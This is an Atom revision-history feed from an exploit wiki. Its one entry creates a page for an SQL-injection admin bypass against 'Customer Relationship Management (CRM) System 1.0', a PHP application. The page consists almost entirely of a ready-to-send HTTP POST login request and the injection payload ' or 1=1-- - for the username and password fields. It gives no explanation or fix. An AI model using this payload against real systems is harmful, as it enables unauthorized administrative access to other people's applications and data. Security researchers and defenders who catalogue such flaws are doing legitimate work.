<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Customer_Relationship_Management_%28CRM%29_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Customer Relationship Management (CRM) System 1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Customer_Relationship_Management_%28CRM%29_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Customer_Relationship_Management_(CRM)_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T14:44:21Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Customer_Relationship_Management_(CRM)_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2794&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi)  # Date: 11/05/2021 # Exploit Author: Richard Jones # Vendor Homepage: h...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Customer_Relationship_Management_(CRM)_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2794&amp;oldid=prev"/>
		<updated>2021-05-12T08:57:47Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi)  # Date: 11/05/2021 # Exploit Author: Richard Jones # Vendor Homepage: h...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi) &lt;br /&gt;
# Date: 11/05/2021&lt;br /&gt;
# Exploit Author: Richard Jones&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&amp;amp;title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POST /crm/classes/Login.php?f=clogin HTTP/1.1&lt;br /&gt;
Host: localhost&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0&lt;br /&gt;
Accept: */*&lt;br /&gt;
Accept-Language: en-GB,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
Content-Length: 47&lt;br /&gt;
Origin: http://localhost&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: http://localhost/crm/customer/login.php&lt;br /&gt;
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2&lt;br /&gt;
&lt;br /&gt;
username='+or+1%3D1--+-&amp;amp;password='+or+1%3D1--+-&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Or goto the login page and enter the below payload&lt;br /&gt;
Payload: &lt;br /&gt;
' or 1=1-- -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>